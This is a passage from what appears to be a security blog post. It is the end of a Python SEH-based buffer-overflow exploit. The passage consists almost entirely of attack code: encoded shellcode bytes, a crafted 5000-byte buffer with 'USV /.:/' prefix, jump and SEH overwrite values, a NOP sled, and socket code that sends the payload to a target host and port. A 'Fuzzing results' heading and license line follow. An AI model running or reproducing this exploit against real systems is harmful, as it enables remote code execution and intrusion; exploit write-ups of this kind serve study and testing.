buf += b"\x59\x97\x62\xbc\x9a\x16\x6b\x31\xa6\x3c\x7b\x8f\x27"
buf += b"\x79\x2f\x5f\x7e\xd7\x99\x19\x28\x99\x73\xf0\x87\x73"
buf += b"\x13\x85\xeb\x43\x65\x8a\x21\x32\x89\x3b\x9c\x03\xb6"
buf += b"\xf4\x48\x84\xcf\xe8\xe8\x6b\x1a\xa9\x19\x26\x06\x98"
buf += b"\xb1\xef\xd3\x98\xdf\x0f\x0e\xde\xd9\x93\xba\x9f\x1d"
buf += b"\x8b\xcf\x9a\x5a\x0b\x3c\xd7\xf3\xfe\x42\x44\xf3\x2a"

buffer = "USV /.:/" + "A" * (962-len(JMP)) + JMP + SEH + "\x90" * 10 + buf + "C" * (5000 - 962 - len(JMP) - len(SEH) - 10 - len(buf)) + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()

Fuzzing results

This post is licensed under CC BY 4.0 by the author.